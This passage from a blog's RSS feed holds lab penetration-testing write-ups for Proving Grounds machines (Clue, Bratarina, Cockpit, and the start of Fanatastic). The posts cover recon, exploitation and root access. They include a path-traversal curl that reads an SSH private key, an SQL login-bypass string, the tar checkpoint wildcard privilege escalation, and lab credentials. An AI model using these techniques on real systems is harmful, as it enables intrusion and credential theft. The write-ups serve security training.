&lt;p&gt;We just had to go ahead and download over the binary and then execute it.&lt;/p&gt;
&lt;h3&gt;proof.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3bb84ea3608953c9c0bed64e7977fe3c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-Clue</title><link>https://maxk9999.vercel.app/posts/clue</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/clue</guid><pubDate>Wed, 22 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.192.240
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -vvvv --min-rate=5000 -sT -T5 -p- 192.168.192.240

PORT     STATE  SERVICE          REASON       VERSION
22/tcp   open   ssh              syn-ack      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open   http             syn-ack      Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: 403 Forbidden
139/tcp  closed netbios-ssn      conn-refused
445/tcp  closed microsoft-ds     conn-refused
3000/tcp open   http             syn-ack      Thin httpd
|_http-favicon: Unknown favicon MD5: 68089FD7828CD453456756FE6E7C4FD8
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: thin
|_http-title: Cassandra Web
8021/tcp open   freeswitch-event syn-ack      FreeSWITCH mod_event_socket
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;port &lt;code&gt;80&lt;/code&gt; gives error 403:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f37a9d7d291ae50a8948201133b92626.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;port &lt;code&gt;3000&lt;/code&gt; however is more successful:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/97fc33565d94452c8fbedb2c96390a05.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;No idea what it does yet, but it&apos;s open and mentions something like &lt;strong&gt;Cassandra Web&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/12e26304d5e8f1cf606f1adbe2ae00f0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;feroxbuster&lt;/code&gt; didn&apos;t get me anywhere either.&lt;/p&gt;
&lt;p&gt;Luckily I&apos;ve found exploits for both ports, downside is, I don&apos;t know what versions are running so I cannot be certain.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/97112054959004bf9f14005fbc89887d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/089850a6f41ddc851a9464807c1f8777.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Remote File Read&lt;/h2&gt;
&lt;p&gt;I tried out the latter and surprisingly it worked right away!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b19857a9456e718e58f6090378973d03.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since it worked I moved on to the second part of the PoC:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0da637804e59548ea11742c03e80079f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/105515ca507463d6dc1a1e3e457f38a6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cassie
SecondBiteTheApple330
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hell yeah, we got creds for &lt;em&gt;cassie&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d9c318b9f341039a16b59cc1cc25752.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately we find unable to log in as &lt;em&gt;cassie&lt;/em&gt;, so let&apos;s continue onto the other PoC found.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e14d6592dcf17ae46d6211f068851091.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This failed as well (eventhough the exploit itself did not!)&lt;/p&gt;
&lt;p&gt;Let&apos;s check out SMB.&lt;/p&gt;
&lt;h2&gt;445/TCP - SMB&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/10f42ff9266c69df84d2516f76c92a56.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Thus I connected to &lt;code&gt;\backup&lt;/code&gt; via &lt;code&gt;smbclient&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/611cae157a7f39bbff0d64888a003aa8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After a while of fiddling around I found a zipped file called &lt;strong&gt;changelog&lt;/strong&gt; which contained the version:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1d34d46b09ce77180e75f8c4ae4f001e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However after a while of searching this didn&apos;t yield shite either.&lt;/p&gt;
&lt;h2&gt;Foothold&lt;/h2&gt;
&lt;p&gt;According to &lt;a href=&quot;https://developer.signalwire.com/freeswitch/FreeSWITCH-Explained/Modules/mod_event_socket_1048924/&quot;&gt;this article&lt;/a&gt; the password should be stored in the following place:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fccd1268d15add4b15da5b3ee509e95b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/09acfd44d2ff4c81cb47508b9096f8f0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So I used the previous exploit again to read the file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/029e8659e4c0abe1b1df3cefda4fc194.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;StrongClueConEight021
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now all that was left was to modify the other PoC so it will use this password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f5da39e329ff4a3189680897901c3126.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6528b25e64cb3c23a0fa0e00f02f1ba7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a28328f03c4a33d0e9257b7a916ad5df.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hell yeah, let&apos;s get a shell!&lt;/p&gt;
&lt;h3&gt;Shell&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7937658ab1555d5b6f208319b80188f8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc7a819d00901fb3ec755be6cfe634fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;local.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/445e55676a95e18e12205de9ec9fe0ab.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Lateral Movement&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1a7be303cdbef4e8f20ae069049c12b7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd61e0ed6a0efe35e85547d3f8a373ba.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Awesome, we&apos;re now logged in as &lt;em&gt;cassie&lt;/em&gt; at last. Let&apos;s enumerate the system.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1d1dfd374619b90d842ae91aa4a074ff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s check what we can do with this binary:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1ee74fd9afec9aa1fb887485d3d54a96.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Perhaps we can run it using &lt;code&gt;sudo&lt;/code&gt; which might then give us more stuff.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f3390c75964b194fa983fa22feb084b5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now using another terminal we could use &lt;code&gt;curl&lt;/code&gt; try out the file read again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c10c0a37fd4da3ab5856bc9239f34006.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hell yeah it worked! Let&apos;s try some other files.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/714522e9f9bafa53b9aa187d023558b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Even better! We&apos;ve got &lt;em&gt;root&lt;/em&gt;&apos;s hash, let&apos;s crack it!&lt;/p&gt;
&lt;p&gt;:::fail
Since cracking the hash took too long I resulted to other measures.
:::&lt;/p&gt;
&lt;p&gt;I instead went ahead and read &lt;em&gt;anthony&lt;/em&gt;&apos;s &lt;code&gt;.bash_history&lt;/code&gt; where I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/97a4bff4fde4a3cce33e993919b54c35.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Holy shit this means that we can get &lt;em&gt;root&lt;/em&gt; access through &lt;em&gt;anthony&lt;/em&gt;&apos;s auth keys!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/709c5240ad622f0b9f58cc6a1b8c9735.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Foothold&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;curl --path-as-is localhost:4444/../../../../../../../../home/anthony/.ssh/id_rsa &amp;gt; id_rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/749803455c0f1a956143f42cb40fe5d5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;proof.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1ce2c6ae6ae4db82c01a7468779402ee.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Alternative Exploitation&lt;/h2&gt;
&lt;p&gt;Since there already is a &lt;code&gt;id_rsa&lt;/code&gt; in &lt;em&gt;cassie&lt;/em&gt;&apos;s home directory from the start, we can just use that one to log into &lt;em&gt;root&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ff8308a88f135b670a0274821fde5163.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-Bratarina</title><link>https://maxk9999.vercel.app/posts/bratarina</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/bratarina</guid><pubDate>Fri, 31 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.140.71
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -vvvv -Pn -p- bratarina -sT --min-rate=5000 -T5

PORT    STATE  SERVICE     REASON       VERSION
22/tcp  open   ssh         syn-ack      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
25/tcp  open   smtp        syn-ack      OpenSMTPD
| smtp-commands: bratarina Hello bratarina [192.168.45.239], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP
|_ 2.0.0 This is OpenSMTPD 2.0.0 To report bugs in the implementation, please contact bugs@openbsd.org 2.0.0 with full details 2.0.0 End of HELP info
53/tcp  closed domain      conn-refused
80/tcp  open   http        syn-ack      nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title:         Page not found - FlaskBB        
445/tcp open   netbios-ssn syn-ack      Samba smbd 4.7.6-Ubuntu (workgroup: COFFEECORP)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: bratarina
|   NetBIOS computer name: BRATARINA\x00
|   Domain name: \x00
|   FQDN: bratarina
|_  System time: 2025-01-31T04:03:43-05:00
| smb2-time: 
|   date: 2025-01-31T09:03:42
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: &amp;lt;blank&amp;gt;
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Right away I noticed SMB open and nmap could fingerprint it, so I went ahead and ran some smb specific tools.&lt;/p&gt;
&lt;h2&gt;Enum4Linux&lt;/h2&gt;
&lt;p&gt;Here I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7037216298aee080d2dc73e0baf7e830.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/caaa8467f9b0490fb37cf0a54b215bd4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Accordingly I used &lt;code&gt;smbclient&lt;/code&gt; to log in anonymously&lt;/p&gt;
&lt;h2&gt;SMBclient&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/87ecb1f91b063bfa1fc2e500fcb7ccae.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then downloaded the file and inspected it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5ccb72ebaaecbd9ad43438ba87172849.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We could use this file to add our own user to it, then upload this file to the target and login with our own user.&lt;/p&gt;
&lt;p&gt;Let&apos;s copy the root user and add our own name.&lt;/p&gt;
&lt;h2&gt;Modifying passwd file&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ec77cd179e7ea2b7ebbdb044b6f5f9cf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5221d6b30d10967b27d8633d8238c023.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we need to find a way to upload this file. Port &lt;code&gt;80&lt;/code&gt; was a bust and wouldn&apos;t do, so we probably need to use port &lt;code&gt;25&lt;/code&gt; SMTP for it.&lt;/p&gt;
&lt;h2&gt;25/TCP - SMTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9c73d162d0dd5b60a6daa8f9268bdaea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a60f44582a48b9669ed93cae91c9fa5c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/241200f937ce1f276d4e233715bce347.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3f1af8c4c2e997fc15d12062e9177f58.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seemed to work, let&apos;s see if it did the trick.&lt;/p&gt;
&lt;h2&gt;Foothold&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/00aee8f6831c1ecd49015d65ba0561d2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
I modified the name to &lt;em&gt;mk&lt;/em&gt; instead of &lt;em&gt;kali&lt;/em&gt;.
:::&lt;/p&gt;
&lt;h3&gt;proof.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a7fe406bba45257339fe7da0eb76bb5c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-Cockpit</title><link>https://maxk9999.vercel.app/posts/cockpit</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/cockpit</guid><pubDate>Fri, 31 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.134.10
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -vvvv --min-rate=5000 -sT -T5 -p- 192.168.134.10  -Pn

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: blaze
9090/tcp open  http    syn-ack Cockpit web service 198 - 220
|_http-title: Did not follow redirect to https://192.168.134.10:9090/
| http-methods: 
|_  Supported Methods: GET HEAD
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Feroxbuster&lt;/h2&gt;
&lt;p&gt;Port &lt;code&gt;80&lt;/code&gt; gives the following output.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bee5251c22f7ffd9720469978d4f3cc2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;port &lt;code&gt;9090&lt;/code&gt; however gave an immense output.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2e64710e843deebdb7109585c991cb48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important
Since I got stuck here I went ahead and ran &lt;code&gt;gobuster&lt;/code&gt; for good measure to try and see if I missed something.
:::&lt;/p&gt;
&lt;h2&gt;Gobuster&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a8c1acfd9c38679f821dc1c954032e59.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Feroxbuster completely missed this! Let&apos;s check it out.&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8e87a486c941ddf1763c8d16c054d60b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried to enter &lt;code&gt;admin - admin&lt;/code&gt; and got this red colored response:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0a0b3d884d7055bfc6d4dbd780dafaa4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Perhaps &lt;strong&gt;SQLi&lt;/strong&gt;?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/297f356caf19e07b1a92d746c613470f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Yup, let&apos;s do some SQLi testing.&lt;/p&gt;
&lt;p&gt;:::note
It looks like we&apos;re dealing with a &lt;strong&gt;MySQL&lt;/strong&gt; server. I will be referencing the &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md&quot;&gt;following site&lt;/a&gt;
:::&lt;/p&gt;
&lt;p&gt;After some tries I get the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ebd8607715bcdb9f460281c851a1737a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Not to worry as the site still works.&lt;/p&gt;
&lt;h2&gt;SQLi&lt;/h2&gt;
&lt;p&gt;I fire up burp to start testing the injections:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3cb32b059caa25be929b7ffff5c36e3e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s start modifying it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;OR &apos;&apos; = &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
Found it in &lt;a href=&quot;https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Databases/MySQL-SQLi-Login-Bypass.fuzzdb.txt?source=post_page-----7e777892e485--------------------------------&quot;&gt;this resource&lt;/a&gt;:&lt;img src=&quot;attachments/ec8e8560e7e9a1eb84a7ce093b080b0e.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5553a42fc5938345f89c788b69abc8d9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;code &lt;code&gt;302&lt;/code&gt;, seems good, let&apos;s try it out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d3f2fcd25ddcb670fc08ba69c26aa07.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Awesome&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9a40a2de7a6b4f89b534b497f590e167.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;james 
canttouchhhthiss@455152

cameron
thisscanttbetouchedd@455152
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Returning back to port &lt;code&gt;9090&lt;/code&gt; I was able to log in using &lt;em&gt;james&lt;/em&gt;&apos;s creds.&lt;/p&gt;
&lt;h2&gt;9090/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dcdc1ae91e49110153fd9ccd6b67a7ec.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Login screen for some sort of Ubuntu web access.&lt;/p&gt;
&lt;p&gt;Using &lt;em&gt;james&lt;/em&gt; creds I got in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0b8f4b594bff4df6d8c016e19223aaaf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the &lt;strong&gt;Host &amp;gt; Accounts &amp;gt; james&lt;/strong&gt; section I found a spot where I could upload &lt;strong&gt;Authorized Public SSH Keys&lt;/strong&gt; so I copy pasted my &lt;code&gt;id_rsa.pub&lt;/code&gt; file into it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7f1b025cb892fff2a2275a3eb9bf8f48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;p&gt;Let&apos;s try to log in via SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0c7972dab8042472706772012edcc10e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;local.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/443a28514dca2cce40fcab2f30cab1e2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a1019824ea9f37a647e7b80a3ee7cfc6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We find the &lt;code&gt;tar *&lt;/code&gt; wildcard again. From [[OSCP C#Tar Wildcard]] we learned how to do it, so we will try and abuse it in the same way.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;p&gt;Using the wildcard trick we get a &lt;code&gt;root&lt;/code&gt; shell easily.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;touch ./--checkpoint=1
touch ./--checkpoint-action=exec=sh 
sudo tar -czvf /tmp/backup.tar.gz *
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f9e9f42cfbe597dfcd47c8b6cb9cd9a7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d7549bc1e566d09880824c3a2ba34289.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;proof.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/78c1d7deeeb2857d45606500c6ca1998.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-Fanatastic</title><link>https://maxk9999.vercel.app/posts/fanatastic</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/fanatastic</guid><pubDate>Sat, 01 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.140.181
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -vvvv -Pn -p- 192.168.140.181 -sT --min-rate=5000 -T5

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    syn-ack Grafana http
| http-robots.txt: 1 disallowed entry 
|_/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: F69DADBD5936359AF76AAB84559E849F
| http-title: Grafana
|_Requested resource was /login
|_http-trane-info: Problem with XML parsing of /evox/about
9090/tcp open  http    syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-title: Prometheus Time Series Collection and Processing Server
|_Requested resource was /graph
| http-methods: 
|_  Supported Methods: GET OPTIONS
|_http-favicon: Unknown favicon MD5: 5EE43B38986A144D6B5022EA8C8F748F
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I noticed the &lt;strong&gt;Grafana&lt;/strong&gt; service running on port &lt;code&gt;3000&lt;/code&gt; so looked up available PoC&apos;s for it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/25872b21a4af82269bf8cbc921763e61.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c21d82fe9046e0be9dca3dcd766bc878.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s see if it works:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/219e2e8f45761e2ead0ac0b453780305.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It does!!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e50687364d6419dfbf7ba33950e424cf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;SQLite3&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ece60399a198d7d5aa389be7ed49ecba.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From these tables this one seemed most interesting:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM data_source;
[{&quot;id&quot;:1,&quot;org_id&quot;:1,&quot;version&quot;:1,&quot;type&quot;:&quot;prometheus&quot;,&quot;name&quot;:&quot;Prometheus&quot;,&quot;access&quot;:&quot;server&quot;,&quot;url&quot;:&quot;http://localhost:9090&quot;,&quot;password&quot;:&quot;&quot;,&quot;user&quot;:&quot;&quot;,&quot;database&quot;:&quot;&quot;,&quot;basic_auth&quot;:0,&quot;basic_auth_user&quot;:&quot;sysadmin&quot;,&quot;basic_auth_password&quot;:&quot;&quot;,&quot;is_default&quot;:0,&quot;json_data&quot;:&quot;{}&quot;,&quot;created&quot;:&quot;2022-02-04 09:19:59&quot;,&quot;updated&quot;:&quot;2022-02-04 09:19:59&quot;,&quot;with_credentials&quot;:0,&quot;secure_json_data&quot;:&quot;{\&quot;basicAuthPassword\&quot;:\&quot;anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==\&quot;}&quot;,&quot;read_only&quot;:0,&quot;uid&quot;:&quot;HkdQ8Ganz&quot;}]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the &lt;code&gt;basicAuthPassword&lt;/code&gt; here, let&apos;s write it down.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;p&gt;We can now utilize the &lt;a href=&quot;https://github.com/jas502n/Grafana-CVE-2021-43798/blob/main/AESDecrypt.go&quot;&gt;following PoC&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7a66e62ec6d16643d65fb0f4f6d6a2a3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We just need to change this part with our own password.&lt;/p&gt;
